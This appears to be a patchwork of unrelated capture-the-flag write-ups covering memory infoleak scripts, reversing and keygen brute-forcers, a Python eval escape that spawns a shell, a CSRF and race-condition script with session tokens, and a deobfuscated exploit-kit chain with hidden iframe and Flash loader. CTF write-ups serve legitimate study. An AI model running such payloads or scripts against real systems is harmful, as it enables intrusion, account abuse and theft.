**sctf{5t3g0n4gr4phy_i5_fun_r1t3?}** |
Task:<span><span>Baby's second infoleak, a tiny bit harder. (https://en.wikipedia.org/wiki/Information_leakage)Server: 172.31.1.37:1615Binary: 172.31.0.10/tyro_infoleak2_3a3b043ca422415917e99afdc20618e5</span> </span>Approach:This task was identical to infoleak1 except that absolute addresses were not allowed. Since we used relative addresses for infoleak1, solving this challenge required only trivial modifications to our script.#!/usr/bin/perluse IO::Socket::INET;#172.31.1.37:1615$sock = IO::Socket::INET->new(PeerAddr => '172.31.1.37', PeerPort => 1615, Proto => 'tcp');sleep(1);my $linebuf;$sock->send("0\n4\n");sleep(1);$sock->recv($linebuf, 4096);print $linebuf;my $decoded = '';if ($linebuf =~ /0x(\S\S\S\S\S\S\S\S).*0x(\S\S\S\S\S\S\S\S)/s) { my ( $stack, $string) = ($1, $2); my $offset = hex($stack) - hex($string); printf "Offset: %08x, %08x, %08x\n", hex($stack), hex($string), $offset; my $walker = ""; foreach my $cur_bucket (0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 44, 48, 52) { my $current = sprintf("-%08x\n", ($offset - $cur_bucket)); print "Sending offset: $cur_bucket\n"; $sock->send($current); sleep(1); $sock->recv($linebuf, 4096); print "$linebuf"; if ($linebuf =~ /0x(\S\S\S?\S?\S?\S?\S?\S?)/) { my $val = $1; my $temp = ''; while ($val =~ /(..)/g) { $temp .= chr(hex($1))} $decoded .= reverse($temp); } }}print "Decoded: $decoded\n"; |
The ciphertext is base-34 encoded. There aren't many clues that would suggest what the problem is, except analysis of the character set. The characters used are within the lowercase letter set and digits, suggesting the possibility of a number encoded as base >16. The highest character observed is 'x', which is present in base-n encoded data starting with base-34.As of the most recent patch (posted after OpenCTF ended) FeatherDuster (https://github.com/nccgroup/featherduster) is capable of solving this challenge with its base_n_solver module, which will be run against this sample in autopwn mode:
<span>$ python featherduster.py <(echo 3xvsw8su9k7xlcq39w38uv33q5u5dt260uwb81mwnjjeiku8emau2788t)</span>...<edited out for brevity>...FeatherDuster> autopwn[+] Analyzing samples...[+] Messages may be encrypted with a stream cipher or simple XOR.[!] Individual messages have failed statistical tests for randomness.[!] This suggests weak crypto is in use.[!] Consider running single-byte or multi-byte XOR solvers.Running module: alpha_shift...<edited out for brevity>...Running module: base_n_solverBest answers for sample: 3xvsw8su9k7xlcq39w38uv33q5u5dt260uwb--------------------------------------------------------------------------------'w3_u5ed_a_d4rtb0ard_t0_p1ck_th3_b4se''\x0bE)\xbf@\x06\x9eE\xd5D\xcb\xf4\xce\x15\xdc\xb1\xf7\x81\xf9\xe8\xaa\x17\x1d\xa5b\x10@\x16\xab\xa5\x870+\xbau\xbf}''\x02W\xe5\rUTe\xe2Z\x877\xb1#\x08\x12z?~1`\x91R\xc6\\E8\x1c4hMm/\x17-:R\x10'<span>FeatherDuster> </span> |
b *0x080492a4commands 1 set $last_data = $eax call memcpy($tmp, $last_data, 0x14) continueend
b *0x080492adcommands 2 call memcpy($last_data, $tmp, 0x14) set $argv = *(char***)($ebp+0xc) set $flag = $argv[1] set $i = *(int*)($esp+0x18) set $flag[$i] += 1 x/s $flag set $eip = 0x0804927e continueend
b *0x080492B5commands 3 x/s $flag continueend
b *0x08049242commands 4 call malloc(0x14) set $tmp = $eax continueend
run " "
# vim: ft=gdb |
##Static analysisThis one is a .NET application ,i opened it in dnspy , it is not obfuscated .It has few functions "Key_Click" in "Form1" class is the function used as event handler for the keys ,set in the constructor of the class,. There are 8 if statements that must be satisfied in a specific order, luckliy the order is specified in the if condition (this.dat_state ). ##Dynamic analysisdnspy has the ability to set the current instruction (like modifying EIP register) so just set the make the program execute every if block from top to bottom and it will show the key PAN{B4BBY_Y3LL5_5O_LOUD!}
|
This file is x64 native app ,it has a text box and validate button.The file is not packed and strings are not obfuscated , goodboy and badboy messages are plaintext in the file Cross referencing the goodboy message leads to a function that has a call to GetDlgItemTextW, this is the function that will get the string from the text boxplace a breakpoint at this point the buffer that receives the input will be at R8at 0x000000013FBF1492 it checks that the length of the input is even and then at 0x000000013FBF14CA it checks that the length is at least 32 chars.
At 0x000000013FBF1507 it checks that the input contains only {'1','2','3'} no other chars are allowed. Then a call to sub_13FBF1750 is made ,sub_13FBF1750 returns 1 if the serial is correct , 0 otherwise.This function returns 1 when two local variables are equal to 10  So we need to know does the serial manipulates these local vars.
The validation code will take two chars from the serial i , i+1 **then increment i by 2 ** if they are equal then it will skip the code block that modifies the local varselse it will modify them based of the value of the two chars.
So i wrote a script to brute force the correct serial using this pairs ['1 2' , '1 3', '2 1' , '2 3', '3 1' ,'3 2'] duplicate numbers were removed because they won't change the state of local vars
Bruteforcing the whole permutations is impossible 6 ** 16 is too big ,so i wrote a little script that just implements the validation algorithm and tried it manually for some time, then i discovered that some pairs will not change the local varsfor example the initial state of the local vars is : local_1 = 0 , local_2 = 13 , local_3=7 ,*local_3 is not checked but affects other vars* If the first two chars are 12 , 13 , 23 , 32 the values of the local vars will not change.We can exclude the pairs that won't change the current state of local vars ,this leaves only two valid options for the first pair. other optimization is to exclude pairs that will revert the current state to an older state *this looping will increase the length of the serial and we don't want it here*
these two optimizations makes the brute forcing super fast .```__author__ = 'abd el rahman'
class state(): parent = '' table = '' move = ''
def __init__(self, table=[], move='', parent=[]): self.table = table self.move = move self.parent = parent
f = 0s = 0r10 = 0table = [] # first element is to keep the 1 based indexstates = [[[0, 0, 13, 7]]]history = [[state([0, 0, 13, 7], '', [])]]c = -1pairs = ['1 2', '1 3', '2 1', '2 3', '3 1', '3 2']while (c < 15): c += 1 history.append([]) states.append([]) for i in history[c]: # for every current state in history[c] , try to add each pair of input , if it results in a new state , add it in history[c+1] table = list(i.table) curr_table = list(i.table) for j in pairs: bad = 0 f, s = map(int, j.split()) if s == 1: r10 = 19 elif s == 2: r10 = 13 else: r10 = 7 fv = table[f] sv = table[s] summ = fv + sv if summ <= r10: table[s] = summ table[f] = 0 else: table[s] = r10 table[f] = summ - r10 if table == curr_table: continue # state didn't change else: for k in history: # state is changed for kk in k: if table == kk.table: bad = 1 # state is a duplicate break if bad == 0: history[-1].append(state(list(table), str(j), i.table))
table = list(curr_table)
target = ''for i in history: for j in i: if j.table[1] == 10 and j.table[2] == 10: target = j
moves = []while target.table != [0, 0, 13, 7]: moves.append(target.move) for i in history: for j in i: if j.table == target.parent: target = jprint 'Serial'print ''.join(moves[::-1]).replace(' ', '')
```31211332133221321332133221321332PAN{C0ngr47ulaT1ons_buddy_y0Uv3_solved_the_re4l_prObL3M} |
##Static analysisThis file has no strings , no imports and not packed.
##Dynamic/code analysisThe code starts like this  It finds functions dynamically , the "key buffer" is filled with the output of some api calls ,the code is designed for a specific operating system configuration.By tracing the "key buffer" and reading the documentation of API functions i found the structure and the range of correct values for each field (bruteforcing 256**7 is too big ).```+0 b hardcoded+1 0 hardcoded+2 0 hardcoded+3 ! hardcoded+4 = 0x2d + curr month+5 = 0x5e + curr day+6 = 0x42 + curr hour+7 = 0x3c + major version+8 = 0x3f + minor version+9 = 'i' or 'j'+10 = 0x5e + language ```some values are hardcoded and the others change base on the system configuration
starting at 0x00401198 , there are alot of move instructions , and some garbage instructions between themthese movs construct the encrypted data buffer .
after building the encrypted buffer and the key buffer , there is a call to the decryption function. 
the decryption algorithms is RC4 https://en.wikipedia.org/wiki/RC4
The only missing thing is bruteforcing the missing parts of the key.I had problems finding the correct language value GetUserDefaultUILanguage returns "language identifier"According to https://msdn.microsoft.com/en-us/library/windows/desktop/dd318691(v=vs.85).aspx the language is: +-------------------------+-------------------------+| SubLanguage ID | Primary Language ID |+-------------------------+-------------------------+
https://msdn.microsoft.com/en-us/library/windows/desktop/dd318693(v=vs.85).aspx shows the possible "Prim. lang. identifier" and "Sublang. identifier"but the actual returned value is the value in the first column (locale id)
This made me try more values for each missing character. ```__author__ = 'abd el rahman'import multiprocessingfrom ctypes import *from Crypto.Cipher import ARC4
'''+0 b hardcoded+1 0 hardcoded+2 0 hardcoded+3 ! hardcoded+4 = 0x2d + curr month+5 = 0x5e + curr day+6 = 0x42 + curr hour+7 = 0x3c + major version+8 = 0x3f + minor version+9 = 'i' or 'j'+10 = 0x5e + language'''word = list('b00!_______')major = range(0, 11)major = [5] # the correct valueminor = range(0, 11)minor = [1] # the correct valuecurr_month = range(1, 13)curr_month = [12] # the correct valuecurr_day = range(1, 32)curr_day = [13] # the correct valuecurr_hour = range(0, 25)curr_hour = [10] # the correct valuedbg = [1] # the correct valuelanguages = range(0, 10)languages = [8] # the correct valuesecond_table = [0xba, 0xaf, 0x4d, 0x55, 0x3c, 0xe3, 0x3, 0x22, 0xb0, 0xdf, 0xf3, 0xd3, 0x57, 0xd0, 0xe1, 0x40, 0xf9, 0x13, 0x1f, 0xba, 0x8d, 0x12, 0xf1, 0xff, 0x48, 0xc2, 0x8e, 0x0, 0xfd, 0x54, 0x97, 0x9d, 0x75, 0x71, 0x30, 0x8f, 0x43, 0x28, 0xfe, 0x69, 0x36, 0x47, 0x8f, 0xa2, 0xef, 0x49, 0x74, 0x7c, 0xe1, 0x4c, 0x6f, 0x4f, 0xd4, 0x82]
for i in curr_month: word[4] = chr(0x2d + i) for j in curr_day: word[5] = chr(0x5e + j) for k in curr_hour: word[6] = chr(0x42 + k) for l in major: word[7] = chr(0x3c + l) for m in minor: word[8] = chr(0x3f + m) for n in dbg: word[9] = chr(0x69 + n) for o in languages: word[10] = chr(0x5e + o) print ''.join(word) cipher = ARC4.new(''.join(word)) x = cipher.decrypt(''.join(map(chr, second_table))) if x[0] == 'P' and x[1] == 'A' and x[2] =='N' and x[3] == '{': print x
``` PAN{th0se_puPP3ts_creeped_m3_out_and_I_h4d_NIGHTMARES} |
This was a set of bonus points awarded to Neg9 for finding another team's RSA private key stored in their world readable home folder on the community jump box. Neg9 connected as the team, and spammed the wall about how this account was own3d. Then changed permissions and moved the private key to a more appropriate .ssh folder with 0600 permissions. |
## Worst Pwn Ever (Pwn)
###ENG[PL](#pl-version)
We get netcat connection parameters to work with.After connecting to the server we get a custom command-line prompt, but typing some random things cause the connection to close.Some fuzzing lead us to typing `1+()` which crashes with a nice python exception that we can't add int to a tuple.This means that our input has to be evaluated by python interpreter.We use this to run:
```python__import__("pty").spawn("/bin/sh")```
To get a real shell on the target machine.After that we tried the standard aproach with `find flag` but it gave us nothing.Fortunately we came back to task description which stated that the admin is `environmentalist` and so we typed `set` to see evn variables and there was a variable named `_F_L_AG` containing the flag itself.
###PL version
Dostajemy parametry do połączenia się przez netcata.Po połączeniu serwer wyświetla znak zachęty jak w shellu, ale próby wpisywania losowych rzeczy powodują zerwanie połączenia.Trochę fuzzowanai pozwala zauważyć że wpisanie `1+()` wysypuje shella z ładnym pythonowym wyjątkiem ze nie można dodać inta do krotki.To oznacza, że nasz input jest ewaluowany przez interpreter pythona.W związku z tym uruchamiamy:
```python__import__("pty").spawn("/bin/sh")```
Aby dostać prawdziwego shella na docelowej maszynie.Po tym próbowaliśmy trochę standardowych operacji jak `find flag` ale niczego nie znaleźliśmy.Na szczęście wróciliśmy do opisu zadania, w którym było napisane że admin to `environmentalist` w zwiazku z tym wpisaliśmy komendę `set` żeby zobaczyć wszystkie zmienne środowiskowe i faktycznie jedną z nich była `_F_L_AG` zawierająca flagę. |
Task:<span><span>Baby's third infoleak even a tiny mit more even than hard to have. (https://en.wikipedia.org/wiki/Information_leakage)Server: 172.31.1.38:1614Binary: 172.31.0.10/tyro_infoleak3_b2d435964aac6bc1098ce62d35cba9af</span> </span>Approach:This challenge was identical to infoloeak2 with the added restriction that only 1 byte could be read with each request and only 16 requests total could be sent in one session. The script used for infoleak2 was modified to meet these constraints.#!/usr/bin/perlmy $decoded = '';use IO::Socket::INET;foreach my $byte_offset (0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40) { #172.31.1.38:1614$sock = IO::Socket::INET->new(PeerAddr => '172.31.1.38', PeerPort => 1614, Proto => 'tcp');sleep(1);my $linebuf;$sock->send("3\n2\n1\n0\n");select(undef,undef,undef, 0.5);$sock->recv($linebuf, 4096);my $stack = '';while ($linebuf =~ /0x(\S\S?)/sg) { my $val = $1; $stack = sprintf("%s%02x", $stack, hex($val));}printf "Stack is: %08x\n", hex($stack);$sock->send("b\na\n9\n8\n");select(undef,undef,undef, 0.5);$sock->recv($linebuf, 4096);my $string = '';while ($linebuf =~ /0x(\S\S?)/sg) { my $val = $1; $string = sprintf("%s%02x", $string, hex($val));}printf "String is: %08x\n", hex($string);my $offset = hex($stack) - hex($string);my $send = '';foreach my $local_offset ( 0, 1, 2, 3) { my $val = sprintf("%08x", ($offset - $byte_offset - $local_offset)); $send .= "-$val\n";}#print "Sending: $send\n";$sock->send($send);select(undef,undef,undef, 0.5);$sock->recv($linebuf, 4096);my $string = '';#print $linebuf;while ($linebuf =~ /0x(\S\S?)/sg) { $decoded .= chr(hex($1));}print "Current: $decoded\n";#exit;}print "Decoded as: $decoded\n"; |
##Static analysisThe website said that this challenge has a kernel driver. The name of the file is loader so we probably dont care about it , only the loaded driver, so i opened it in CFF explorer and extracted the 3 files. 
* there are two PE64 files, one of them has some metadata that indicates that it Disables the driver signature enforcement protection https://github.com/hfiref0x/DSEFix so we wont analyze this PE file now. We are left with one PE64 and one text file , the PE64 is the driver that we will analyze and the text file is the ini file that installs the driver https://msdn.microsoft.com/en-us/windows/hardware/drivers/install/looking-at-an-inf-file
From the ini file we can that the driver is a MiniFilter driver https://msdn.microsoft.com/en-us/windows/hardware/drivers/ifs/file-system-minifilter-drivers These are the strings in the driver 
##Dynamic/Code analysis**IMAGE_BASE 0x140000000**
The DriverEntry function jumps to sub_140007000, which uses DbgPrint to print a string, so we will use DebugView from sysinternals,I used Process hacker to control the installed service.There are calls to KdDisableDebugger, so i patched it in memory with windbg (change the first byte of KdDisableDebugger to ret (0xc3) and nop the other bytes of the first instruction).
The driver also uses KdDebuggerNotPresent byte to detect the debugger, i patched this after being loaded into memory, i changed the address set by the loader at FFFFF88003F84058 at runtime so that this variable points to any other byte that is not zero ).What we need now is to know what are the operations that this driver will intercept,and which functions will be called .These info are found in the second parameter sent to FltRegisterFilter. https://msdn.microsoft.com/en-us/library/windows/hardware/ff544305(v=vs.85).aspx
To get these info may do it manually by reading msdn and , using ida pro staticaly , or using windbg dynamically .We will use ida.First load the fltmgr.pdb file into ida, i downloaded it using windbg https://msdn.microsoft.com/en-us/library/windows/desktop/ee416588(v=vs.85).aspx ,then from the local types window add _FLT_REGISTRATION,_FLT_OPERATION_REGISTRATION structs(I found them in the msdn documentation of FltRegisterFilter).The second arg is at 0x140003140 , so undefine the data at that address and add struct _FLT_REGISTRATION.The fifth argument is the OperationRegistration (from the documentation), ida should show the names of the fields but it doesn't for some reason, then define this argument as _FLT_OPERATION_REGISTRATION struct wdm.h header file contains the codes of IRP major functions,major function 0 is IRP_MJ_CREATE, which is called when a file/directory is being opened.The rest of the majorfunctions are handled by the same functions(1,4,0x13). The postoperation function sub_140001138 is more intersting than the preoperation function, it performs a byte by byte string comparison against '\grst.txt', probably thats name of the file, so lets start kernel debugging using windbg and virtualkd.
at 00000001400011D6 it starts to check for a file named gsrt.txt, it then reads the content of the file and checks if it is "labyrenth.com", it then prints a dummy flag PAN{0h_my,_you_think_its_that_easy?} .Then at 0000000140001437 is starts to check if the file name is "pan.flag", it then passes it to Function sub_14000181C which reads the content of file "pan.flag" and performs simple arithmetic/bitwise operations to verfiy it .the content of "pan.flag must" be PAN{Wow, reverser! Great moves, keep it up, proud of you!}.The two files must be present with the correct contents, i placed them in c:/ and opening it in the explorer triggers the postoperation function.
|
Description: Mr. Moneybags is taking a day off - but new users get $500 just for joining! I bet you could earn over $100,000 this way! server: http://172.31.1.55/<h2>Exploration</h2>Hitting the URL with a browser shows a simple web service with a registration link. Signup requires a username, a password, and a simple CAPTCHA.After logging in, we were immediately redirected to a page with a grid of items for sale, which had already been exploited and stole most of our starting $500. As we were clicking around, an additional exploit seemed to steal our cookies by making a request to another server on the network.Creating a new account, we used the Chrome debugging tools to artificially slow the network down to GPRS speeds, which allowed us to intercept the loggin redirection, which kept our account (and starting cash) secure.Using our compromised account, we created a new listing, which required a title, description, a URL for an image, and the desired price of the item. The help text for the image suggested using a data URL.Once our listing was created, we attempted to buy another listing, noting that the request was made via GET instead of POST.<h2>Exploitation and Automation</h2>Creating a new listing, we used the URL from the "Buy" button on our first listing as the image `src`, which rendered as `<img src="/listings/12345?buy=1" />`, causing the viewer to attempt to buy my first listing.Looking at the `POST` message that was sent when submitting new listings, we noticed that the two pieces of identifying information required were `csrftoken` and a `cookie`.Wrapping this up in a shell script, we ended up with: last=$(grep 'Location: ' last.txt) last=${last%/*} last=${last##*/} cost=100 if [ ! -z "$1" ]; then cost="$1" fi token=I61EoRXcJ7zzOPkrV5nC0MJu3h6xhTOj sessionid=u6jyb7uiu5s38r6squc2eyappinykq9c curl -v 'http://172.31.1.55/listings/new/' \ -H "Cookie: sessionid=$sessionid; csrftoken=$token" \ -H 'Content-Type: application/x-www-form-urlencoded' \ -H 'Referer: http://172.31.1.55/listings/new/' \ --data 'name=sup&details=buybuybuy&image_src=%2Flisting%2F'"$last"'%3Fbuy%3D1&cost='"$cost"'&csrfmiddlewaretoken='"$token" \ &> last.txt grep 'Location:' last.txt # Show the link to the posting we just createdRunning this in a bash loop created multiple new postings for $100 every second, flooding the board with our own listings.Unfortunately, while we were getting some money using this strategy, we weren't getting very much.Fortunately, we noticed a race condition when viewing many listings at once, such that the buyer ended up with a negative balance, and the seller ended up with a significant balance.By bouncing our money back and forth between our two accounts, combined with more and more expensive listings, we were able to end the game with a balance of over $100,000 on one account, and -$60,000 on the other account.Once we had accumulated enough money, we were presented with the flag `red_herrings_are_tasty` at the top of the page.Answer: red_herrings_are_tasty |
# Misc 200: hsab
Connecting to the server we give a proof of work, and then we are dropped into a shell.No other programs are loaded with it, checking /bin with```cd /binecho *```we see only bash and a server binary. Checking /home there is a ctf/ directory and inside is flag.raywhich probably contains the flag, the only problem is reading it. A simple solution would be:```while read line; do echo $line;done < flag.ray```but it seems they blocked redirects, so 'done < flag.ray' won't work. Instead, I went with historywhich will print out the contents of HISTFILE from your environment. History loads HISTFILE at startup, so starting a new bash after setting it will solve this. In the end I used:```HISTFILE=/home/ctf/flag.ray /bin/bashhistory```and the flag is: BCTF{ipreferzshtobash} |
.NET APP just copy the validation code in 'btnCheck_Click' and bruteforce the 3 values, or you can analyze the code a bit more and find the xor deobfuscation.
```__author__ = 'abd el rahman'#RGB.exe
x = [113,96,111,90,77,21,67,88,83,16,79,22,73,126,82,21,88,91,126,89,17,83,16,82,126,21,76,21,91,16,79,70,92]key = x[3] ^ ord('{')out =''for i in x: out+=chr(key ^ i)print out
print 'Brute forcing'for value in range(0,256): for value2 in range(0,256): for value3 in range(0,256): num = value2 * value3; num2 = value * 3; if (value + num - value2 + value * value * value2 - value3 == value2 * (value3 * 34 + (num2 - value)) + 3744 and value > 60): print value,value2,value3```PAN{l4byr1n7h_s4yz_x0r1s_4m4z1ng} |
## Offensive 400 (Offensive, 400p) ###ENG[PL](#pl-version)
Challenge starts on webpage which doesn't contain anything (or it looks like this). But after looking at the source code we spot interesting javacript file (named "ads.js"). After deobfuscation it looked like this:
```javascriptvar mnt = function() { window.host = location.host; window.scheme = 'http://'; window.getLicenseUrl = function() { console.log('getting lic url') var ax = document.getElementsByTagName('img'); for (var i = 0; i < ax.length; i++) { if (-1 < ax[i].src.indexOf(host)) { return "http://" + host + "/images/creature.html?adv=900485&o=7927932&m=844431838&creature=629999&yf=INfzIJzt9bRSOkjD&click=${CLICK_URL_ENC}&type=js&pub=openxnat_1569894390&ord=1450370740864"; } } }; callbackOnLoad = function() { console.log('callback'); var ax = xtr.responseText, mn = '/1/', cm = '%'; var data = unescape(ax.substr(3 + ax.indexOf(mn)).replace(/[\S]{3}/g, function(b) { return cm + String.fromCharCode(b.charCodeAt(1) ^ ((scheme.length+1) * 6)) + b[2]; })); var sta = document.createElement('sc' + 'rip' + 't'); sta.innerHTML = data; document.body.appendChild(sta); }; licenseRequest = function(command) { try { console.log('lic request'); new ActiveXObject(command).GetLicenseFromURL([], getLicenseUrl().replace(scheme, 'http://')) } catch (et) { return et.number + '' } }; suspicious = function() { with (xtr = (window.XDomainRequest && (new XDomainRequest) || (new XMLHttpRequest))) open('get', scheme + host + '/images/9J2bkcUJHUTTnOmcd56DXVmz.gif' + '?t=' + (new Date).getTime() + '&id=M8XIgp9526a9'), onload = callbackOnLoad, send() }; document.security && 1 && suspicious();};mnt();```
The file was bigger than that, but rest of file wasn't interesting. And I removed licence checking (with function 'licenseRequest'), because it wasn't letting me through. By the way, this code could work only under IE (because of ActiveXObject use).
Either way we can see that finally `<script>` element is created, and some decrypted data is put into it (gif is downloaded from fixed path, and than data is extracted from it).I tried to decrypt that gif "manually" with python at first, but quickly I decided to do something simpler and I just replaced `sta.innerHTML = data` to `console.log(data)`.Thanks to this, I reached second stage.
It looked like this:
```javascriptfunction getA(key) { return "3789d132";}function getB(key) { return "111780a7";}function getC(key) { return "fbff29";}function getD(key) { return "b2914faca2";}
function main(func, idToProcess) { func(idToProcess)}var LvPmn, BisnmljH, window, JEUMZ;
gWRqmBVp = 'd';
var realMain = (function(idToProcess) { TOu8g = kode; UA = 'asdfasdfasdf'; if ((/(MSIE\ [0-7]\.\d+)/).test(UA)) { TOu8g = TOu8g.slice(0, -1); } TOu8g = TOu8g['replace'](/\s/g, ''); plZla = kfSH(TOu8g, LvPmn);
delete TOu8g; TOu8g = ""; eval(plZla); });LvPmn = 'oXUX5XqXRXoXGXfX';
function kfSH(YP, sr4ze) { var YLvEoLp = ""; for (var i = 0; i < YP.length / 16; i++) { var HQDBqAdIqAP = RZTN(YP.substr((i*16), (i+1)*16), sr4ze); YLvEoLp += uyGi(parseInt(HQDBqAdIqAP.substr(8,8),16)) + uyGi(parseInt(HQDBqAdIqAP.substr(0,8),16));
} return unescape(YLvEoLp);}
function RZTN(SKOx, GHk7) { ret = ""; for (var i = 0; i < SKOx.length; i+=2) { ret += (parseInt(SKOx.charAt(i) + SKOx.charAt(i+1), 16) ^ GHk7.charCodeAt(i)).toString(16); } return ret;}
function tPC(nojMia) { var SKOx = nojMia.charCodeAt(0) + (nojMia.charCodeAt(1) << 8) + (nojMia.charCodeAt(2) << 16) + (nojMia.charCodeAt(3) << 24); return isNaN(SKOx) ? 0 : SKOx;}
function uyGi(SKOx) { var nojMia = String.fromCharCode(SKOx & 255, SKOx >> 8 & 255, SKOx >> 16 & 255, SKOx >> 24 & 255); return nojMia;}
main(realMain, 'oU5qRoGfenAszlAOKYBE')```
This code is after small deobfuscation (I changed few function names, did beautification, etc) and cut few checks. Similary to previous stage, it was enough to cut few checks and add `console.log(plZla)` instead of `eval(plZla)`. Thanks to this I reached another stage.
```javascriptif (document.referrer != "") { var iframe = document.createElement("iframe"); iframe.src = "depress-choose-opportunity-staircase.html"; iframe.frameBorder = 0; iframe.width = "1"; iframe.height = "1"; document.body.appendChild(iframe);};```
This code is after serious deobfuscation and beautification. As you can see, This code only creates ifrema with `depress-choose-opportunity-staircase.html` injected.
So, what can we find under this address?
Something like this:
```javascript
window['gWRqmBVp'] = '1';
function xWait(xT) { var date = new Date(); var tmpDate = null; do { tmpDate = new Date(); } while (tmpDate - date < xT);}
function xTrueA() { if (navigator.userAgent.indexOf('TMCTF') == -1 && navigator.appVersion.indexOf('ctf/') == -1) { return; } if (!!window.__IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE || ('__BROWSERTOOLS_CONSOLE_SAFEFUNC' in window)) { return; } var mirtul = '1', ci = 'clsid:'; var txt = '<object classid="' + ci + 'd27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess="always" width="1" height="1" id="23kjsdf">'; txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />'; txt = txt + '<param name="play" value="true"/>'; txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />'; txt = txt + ''; txt = txt + '<object type="application/x-shockwave-flash" data="swf/YWxUdHVpZm9uaQbmV6dndo.swf" allowScriptAccess=always width="1" height="1">'; txt = txt + '<param name="movie" value="swf/YWxUdHVpZm9uaQbmV6dndo.swf" />'; txt = txt + '<param name="play" value="true"/>'; txt = txt + '<param name="FlashVars" value="a=' + getA("EkRlsOP") + '&b=' + getB("KslLNbQsY") + '&c=' + getC("MpRuyAZx") + '&d=' + getD("QetIoPZ") + '" />'; txt = txt + ''; txt = txt + '</object>'; txt = txt + '</object>'; try {; } catch (e) {} document.getElementsByTagName("q")[2].innerHTML = txt;}xTrueA();xWait(1200);```
Again, this is code after my deobfustation and beautification. So, as you can see, another javascript is being injected. There is some checks (i just removed them) and then some `<object>` is pasted into source code. So I downloaded that flash and decompiled. Most interesting fragment of it was:
```actionscriptpackage tmctf { import flash.events.*; import flash.utils.*; import flash.display.*;
public class Main extends Sprite {
private var lIIl11l:Class;
public function Main(){ this.lIIl11l = Main_lIIl11l; super(); if (stage){ this.init(); } else { addEventListener(Event.ADDED_TO_STAGE, this.init); }; } private function init(_arg1:Event=null):void{ var _local2:Object = LoaderInfo(this.root.loaderInfo).parameters.a; var _local3:Object = LoaderInfo(this.root.loaderInfo).parameters.b; var _local4:Object = LoaderInfo(this.root.loaderInfo).parameters.c; var _local5:Object = LoaderInfo(this.root.loaderInfo).parameters.d; var _local6:String = (((_local4.toString() + _local3.toString()) + _local5.toString()) + _local2.toString()); var _local7:ByteArray = (new this.lIIl11l() as ByteArray); var _local8:ByteArray = lI11lI.l1l1lI(_local7, _local6); this.removeEventListener(Event.ADDED_TO_STAGE, this.init); var _local9 = "flash.display.Loader"; var _local10:Class = (getDefinitionByName(_local9) as Class); var _local11:Loader = new (_local10)(); _local11.loadBytes(_local8); addChild(_local11); }
}}//package tmctf
package tmctf { import mx.core.*;
public class Main_lIIl11l extends ByteArrayAsset {
}}//package tmctf
package tmctf { import flash.utils.*;
public class lI11lI {
public static function l1I1lI(_arg1:int):String{ var _local2 = ""; if (_arg1 == 1){ _local2 = "6l.6o3a3d63.B3.y6t263.e5s6"; }; if (_arg1 == 2){ _local2 = "2a.7d6d6.C23h3i.34l6d6"; }; if (_arg1 == 3){ _local2 = "2r4.e6m3.o4v63e3E4v6e3n5t3L6.i3s6t3.4e6n4e3r6"; }; if (_arg1 == 4){ _local2 = "6w3.4r7..i4t6e4.B6y.3t43e5"; }; if (_arg1 == 5){ _local2 = "6p6.3o6s4i6t4i6.o6n"; }; if (_arg1 == 8){ _local2 = "6l2e6n6.g4t4.3h6"; }; if (_arg1 == 9){ _local2 = "3c6h4a..36r34C6o6d34e6A.43t6"; }; return (_local2.replace(new RegExp("[(1)\\(2)\\(3)\\(4)\\(5)\\(6)\\(7)\\(8)\\(9)\\(0)\\.]", "g"), "")); } public static function l1l1lI(_arg1:ByteArray, _arg2:String):ByteArray{ var _local9:int; var _local3:* = 0; var _local4:ByteArray = new ByteArray(); var _local5:String = l1I1lI(4); var _local6:String = l1I1lI(5); var _local7:String = l1I1lI(8); var _local8:String = l1I1lI(9); _local3 = 0; while (_local3 < _arg1[_local7]) { if (_local3 > (_arg2[_local7] - 1)){ _arg2 = (_arg2 + _arg2); }; _local9 = (_arg1[_local3] ^ _arg2[_local8](_local3)); var _local10 = _local4; _local10[_local5](_local9); _local3++; }; _local4[_local6] = 0; return (_local4); }
}}//package tmctf```
Obfuscation here was taken to another level - for example, strings are ovbfuscated (quite simply - function l1I1lI removes every digit from string, so for example "6l.6o3a3d63.B3.y6t263.e5s6" changes to "loadBytes"), and function and attribute accesses are obfusacated (for example xxx.length is changed to xxx['length'], and with both techniques combined, to xxx[l1I1lI("6l2e6n6.g4t4.3h6")].
After all, main loop is xoring blob extracted from resources with key (key is equal to getA() + getB() + getC() + getD() from previous stage).
I did it (after rewriting core to python), and I get... another swf. So I decompiled it, again... And that's what I get:
```actionscriptYOLO = function() { var vrsntk = "Akstoniskrov"; var aeiVra = "saKrXVoiceda"; var createTi = "wisTtentgaoemric"; var mLtoonq = "qdnpokostELim"; var getDate = "TettnagDotmeig"; var getMonth = "ahsttnnogMotmeig"; var toString = "BgknUimrPtXSloot"; var length = "IhntAgenSeol"; var fromCharCode = "teodSotCrrianhgCFmroormf"; var eval = "Sloarvee"; function Main() { var currDate = new Date(); var someConst = 1862628783; var mnth = currDate[this.gs(getMonth)](); var dayy = currDate[this.gs(getDate)](); var modCurrMonth = 2; var modCurrDay = 30; var cheeeck = someConst[this.gs(toString)](2)[this.gs(length)] - 1; if(modCurrMonth * modCurrDay != cheeeck * 2) { console.log(modCurrMonth); console.log(modCurrDay); console.log(cheeeck * 2); console.log('nope'); //return; } var arrWIthData = [122,109,126,44,104,109,120,109,49,46,66,93,98,(..........a lot of numbers.........),60,46,50,43,37,55]; var resultxx = ""; var getChrCode = this.gs(fromCharCode); var indexl = 0; while(indexl < arrWIthData.length) { resultxx = resultxx + String[getChrCode](arrWIthData[indexl] ^ modCurrMonth + 1 ^ modCurrDay); indexl++; } ej(resultxx,this.gs(eval)); } function ej(param1, param2) { console.log(param2); console.log(param1); return; var _loc3_ = null; var _loc4_ = NaN; var _loc5_ = null; if(ExternalInterface.available) { _loc3_ = "s"; _loc5_ = "n" + _loc3_; _loc5_ = "n" + _loc3_; return ExternalInterface.call(param2,param1); } return ""; } function gs(param1) { var _loc2_ = ""; var _loc3_ = param1.length; while(_loc3_ > 0 / 2) { _loc2_ = _loc2_ + param1["charAt"](_loc3_ - 1); _loc3_ = _loc3_ - 2; } return _loc2_; }
Main()}
YOLO()```
